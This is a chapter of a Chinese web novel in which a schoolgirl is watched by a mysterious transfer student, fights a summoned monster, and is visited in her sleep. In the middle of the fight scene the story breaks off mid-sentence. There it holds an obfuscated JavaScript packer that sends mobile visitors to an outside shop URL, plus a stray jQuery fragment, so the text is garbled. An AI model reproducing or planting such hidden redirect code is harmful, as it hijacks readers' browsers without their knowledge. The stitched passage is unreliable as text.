重回正轨后的一切没有什么不同,只是聂妤总觉得时常有人在盯着自己,可回头望去,什么人都没有。
以及耳边那窸窸窣窣的电流声。
她照常去上学,在父亲面前隐藏起自己的本性,依旧扮演好最合格的聂家继承人的身份。在听到祝允嘉恢复正常后的第一件事就是搬家转学,聂妤心中释然。
这系统总算不逮着祝允嘉这个身份薅了。
姜奈还觉得惋惜,不过下一秒她就将此份惋惜抛诸脑后,消散的一干二净。
“喂喂喂,阿妤,新的转校生诶!好帅啊!”
低沉温润的嗓音响起:“大家好,我是桑聿淮。”
听到这个声音后,聂妤总觉得有些熟悉,似乎在哪里听过。出于好奇,聂妤抬起头想看看这名转校生是何模样,却在抬起眼眸的那一刹那,撞上那人投来的炽热的目光。
他在看自己。
是巧合吗?
在对上目光的那一瞬间,桑聿淮对她笑了笑,然后转过头去,继续进行自我介绍。
他身形高挑,清瘦却不单薄,脸的轮廓柔和细腻,五官如同精雕细琢的洋娃娃一般,散发着温柔的气质。可细看眉宇之间,一双深色的瞳孔深邃浑浊,像是在隐藏着什么,暗潮涌动,让人看不清摸不透。
聂妤看得出,刚刚他看自己的眼神,就像是看猎物的眼神。这样的神情,她再熟悉不过。
“走了一个祝允嘉,来了一个桑聿淮。不错,不错。”姜奈满意地点点头。
聂妤的目光随着桑聿淮的落座,渐渐地收回。
这是发生那件事后出现的第一个让她感到危机的人。
莫非是修改任务后的第一个攻略者?
看来,游戏已经开始。
*
下课后,桑聿淮的位置被围得水泄不通,大家对他这个新来的转校生很感兴趣。
姜奈也不例外。
她吃力地从人群中挤出,带着两颗糖放到聂妤手中。“这是桑聿淮给的,他说这是他研究出来的能够驱邪避难的好东西。只要吃了,保准平安无事!”
聂妤瞥了眼一旁躺着的两颗平平无奇的糖果,看向姜奈:“你吃了?”
“对啊,还挺好吃的,不信你尝尝嘛。”
“陌生人给的东西你也敢吃?他说吃了就能保证驱邪平安,你就真信?”聂妤抽出一张纸,将糖果包起来丢向一旁。“如果吃了真能有这效果,市场上早就争相竞卖了。”
姜奈嘟了嘟嘴:“他也是好意嘛,阿妤你对新朋友就没必要这么苛刻了吧?”
“是啊,聂同学这么不给面子,是怕我在里面藏毒吗?”姜奈话音刚落,轻佻的男声便在一旁响起。
桑聿淮捡起被聂妤扔到一旁的糖果,一双狐狸眼笑起来,眼梢微微上扬,看上去并没有什么不满,反而温顺又和善。
“哎呀阿妤她没这个意思啦,她只是有点防备心。”姜奈解释道。
桑聿淮擦了擦包裹着糖果的纸,一脸惋惜地放入自己的口袋中。“没关系,或许是我这个见面礼聂同学不喜欢罢了,改日我重新送一份。”
他总是微笑着,眸光温柔缱绻,很容易让人放下防备。
可聂妤才不信这套。她直接拒绝:“不必。我这人独来独往惯了,不喜欢交朋友。还有,我和你没见过面吧?你怎么知道我姓聂?”
聂妤直勾勾地盯着桑聿淮,想从他的反应中窥探些什么,可他只是淡淡地笑着,就连说的话也滴水不漏。“聂同学还需要打听吗?这人群中最疏离冷漠的那一位,不就是了?”
气氛场面一度尴尬。
姜奈甚至觉得聂妤的眼神有种要把桑聿淮杀了的感觉。
“好了好了,我肚子饿了,阿妤你陪我去买点吃的。”姜奈借机把聂妤从教室里拉了出去。“你们不是第一天认识吗,干嘛搞得火药味那么浓,你觉得这个桑聿淮不是好人吗?”
聂妤:“总之,你离他远点没有坏处。”
“好吧好吧~可是我觉得他人应该没那么差吧。”
*
放学后,聂妤没有让司机来接自己,打算自己徒步走回家。
刚出校门,她便看到一辆豪车在自己面前停下。车窗缓缓摇下,露出的是一张精致的脸。
“聂同学,没有人来接你吗?不如跟我的车,送你一程。”桑聿淮眉眼弯弯。
聂妤抱臂,目光瞥向前方主驾上的司机,看不真切。“还没问你,你是A市哪家企业的公子,为什么会选择来这里上学?”
桑聿淮眼中流露出惊喜:“你这是在关心我?呵,我的确不生活在A市,可向往这里的生活,想感受一下不同的人生。如果聂同学实在对我很好奇的话,不如让我送你一程,路上我们可以聊聊更多关于我的事情。”
聂妤向前走了几步,弯下腰凑上前去,她的脸离桑聿淮的只有一拳的距离。她轻笑:“有没有人和你说过,你这个年纪,不适合扮演学生。”
桑聿淮似乎没听她在说什么,他的眼神不断在聂妤身上游走,就像是打量一件精美的作品一般。就在他想要在凑近时,聂妤没给他任何好脸色,便朝反方向径直离开了。
桑聿淮望着反光镜中渐渐远去的背影,回想起刚刚那一幕,一抹玩味的笑意从眼底掠过。他伸出手,扶了扶鼻梁上那若隐若现的金丝眼镜。
“我都摘掉眼镜了啊,有这么老吗?”桑聿淮对着后视镜,观察着自己的脸。
司机说道:“您不管什么样,都是如此年轻帅气。”
桑聿淮摇摇头,神情失落。“不,我要听她亲口夸我。N,你说她这话是什么意思,我竟然有点难过。”
司机:“您应该降一降她的智商,她太狂妄了。”
“是啊。不如我们来测试一下,她如今的战力,究竟在第几等吧?看看还够不够资格,让别人来杀她。”
说着,桑聿淮面前凭空浮现一道对话框,他在上面一顿操作后按下“yes”按钮。他双眼微闭。“聂妤,千万别受伤,否则我会心疼的。”
*
聂妤走在街道上,脑海中不断浮现桑聿淮那张似笑非笑的脸。别人看不出,可她却清晰地感受到此人身上蕴藏着一股极大的能量。
此人绝非等闲之辈。
如果不是来做任务的攻略者,那会是谁?
她的心在告诉自己,一定要离这个人远远的。
或许是聂妤一个人独来独往惯了,她并未发现周围的景象已经发生了变化,本来还存在的行人,此刻全部消失不见。
俯瞰望去,整条街道上只留下聂妤一个身影。
死寂的空气里骤然掀起一阵腥风。
聂妤停住脚步。
身后好像有什么奇怪的声音。
聂妤缓缓转过身,映入眼帘的,却是从地底下不断渗透出来的一团紫火,紫火慢慢褪去,显现出的竟是一只奇形怪状的妖怪。
此怪的体型大小和人类没有差别,只是细长的四肢独独撑着一只臃肿的脑袋,庞大的血口微张,尖利的獠牙上不断滴落腥臭的粘液。它待在原地没有动弹,只是低沉的嘶吼,似乎是在等待什么命令。
“什么东西?”聂妤紧皱眉头,看着这突然出现的怪物喃喃自语,却早已摆出防御的姿势。
突然强烈的电流声在聂妤耳边干扰,她下意识去捂住耳朵,却也是在此刻,那怪物躬起躯干张开血盆大口便朝聂妤扑了过来。
聂妤紧急翻滚闪躲,还没来得及反应过来,那怪物再一次扑了上来。
庞大的躯体裹挟着十足的压迫,腥臭污浊的气息瞬间将她团团笼罩。稍有不慎,聂妤便会葬送血口。
聂妤神色未变,她身形极快,指尖利落一探,精准地抽出藏在裙下靴筒处的短刃。她趁着怪物腾空攻击时,腰身骤然下沉,双腿发力,干脆利落的一个滑铲,整个人贴着崎岖不平的地面,瞬间从怪物宽大垂坠的肚皮下掠过。
刀锋凌厉朝上,借着滑铲的迅猛冲击,狠狠地扎进怪物的腐皮之中。
“嗤——”
刺耳的割裂声响起,温热黏腻的血液刹那间喷涌而出。可这怪物的躯体异常坚韧,短刃深深扎入皮肉,却未能贯穿要害,反而激怒了怪物的凶性。
它落地的瞬间疯狂震颤躯体,撕裂般的低吼响彻在空旷的街道上,刺耳又暴戾。它不断躁动、翻腾、冲撞,残破的腹部伤口不断滴落黑色的血水,莽撞地直冲聂妤而来。
聂妤堪堪侧身躲过数次致命攻击,却不忘观察它躁动的破绽。
这只怪物虽看着凶险,却只会横冲莽撞,那口可怖的獠牙就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965886|214514||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是它的工具。
聂妤本想将它开膛破肚,再逐一击杀。可没想到它竟如此坚韧,还变得愈发凶猛。
聂妤瞥了眼手腕上的钟表时间,看来她得速战速决了。
既然从下面不行,那就从上面。
聂妤朝着那怪物吹哨,故意激怒它,好让它主动攻击自己。趁着怪物暴怒失控,朝她扑来的一瞬,聂妤借着一旁的树干纵身跃起,借力稳稳翻身,与那怪物擦肩而过。
而她手中的利刃,也借此力对准了怪物的两肢,堪堪割了下来。
聂妤接住被割下来的两支躯干,趁着怪物倒落在地的时候,她利落地跨坐碾压在怪物不断扭动的背脊之上。
没有丝毫迟疑,聂妤握着那两根细长的断肢,高高抬手,对准怪物头颅下方最柔软的地方,倾尽全身力道,狠狠地垂直刺入。
“噗”的一声,腥臭的液体刹那喷涌而出,尖锐的肢端彻底刺穿要害,刺耳的嘶吼声戛然而止。
直到身下的怪物没再动弹,聂妤这才放下心来,从怪物的背上滚落下来。
她浑身是怪物的脏血黏液,凌乱不堪,可她却望着天空肆意的笑。
接着,她竖起中指,挑衅地对某个地方扬了扬眉。
她知道有人在看她,可她却不知道是谁。他又为何要多此一举送来一只怪物杀她。
但她偏不如那个人所愿,她成功地反杀了这只怪物。
许是为了庆祝成功者的胜利,聂妤割下了怪物的另外两条残肢,插入了怪物的双眼,并费力地割下怪物的头颅,只为向那个人挑衅。
她说:想杀我,没那么容易。
暗处的人看清这一切,似乎早已猜到结局,在他的操作下,怪物消失,附着在聂妤身上的肮脏粘液也消失不见,原本寂寥恐怖的街道又重新恢复正常。
只是聂妤身上与怪物殴打留下的伤口,仍然存在。
那个人是什么意思,让自己记住刚才的一切并不是梦,而是真实发生过的,给自己一个教训吗?
聂妤冷笑,嘴唇翕动,故意没有发出声音,让幕后之人猜想。
但怎么想,也都是骂他的脏话罢了。
幕后之人轻笑。“越来越有意思了。”
*
聂妤原本以为与怪物厮杀了一段时间,回到家一定会遭到父亲的责骂,可保姆却告诉她,今天聂总不回来了。
聂妤好奇地看了眼时间,从她出校门到回家的那一刻起,居然只过了五分钟。
看来那人调动了时间。
“吴妈,帮我......”本想让保姆拿些药膏来涂抹伤口,可聂妤担心保姆过多询问被父亲知道,也就没继续说下去。
“算了,我今天有点累,就不下来吃饭了。”说着,聂妤上了楼,进入自己的房间。
她打开灯,站在全身镜前脱下衣物,露出身上的伤痕。
凭什么这个人可以站在背后随意玩弄自己,凭什么他可以如此狂悖?
她聂妤不服。
她就是要留着这些伤口,时时刻刻警醒自己,她不是一坨无用的数据,她是活生生的人。她迟早有一天会闯出这个所为她编织的囚笼,去看看背后操控她的人,究竟是谁。
她聂妤,从来不是什么等闲之辈。
洗完澡后,她昏昏沉沉地睡去,安静的房间内,只听到她浅浅的呼吸声。
忽然,聂妤身侧的床榻软了下去,像是坐上了一个人。
淡淡的光影勾勒出一个酷似人影的轮廓。
他伸出手去,抚摸聂妤熟睡的脸庞。
“你还真是让我刮目相看。若是早点听我的话,吃了那些糖,就不会受这么重的伤了。”
他俯身低头凑去,薄薄的唇在聂妤额头上轻轻一碰。“怎么办呢,你这个样子,我越来越喜欢了。原本今天只是想要测试你的实力,看看我做的决定究竟正不正确。可现在看来,此番简直是多此一举。”
光影一闪而过,落在了聂妤身侧,他躺在聂妤身旁,伸出手臂环抱着她,另一只手玩弄着她的头发。
“阿妤,怎么办,我好像舍不得离开你了。”
“那就继续让我待在你身边,看看接下来的剧情会如何发展吧?”
“今晚.......好好休息吧,我的女孩。”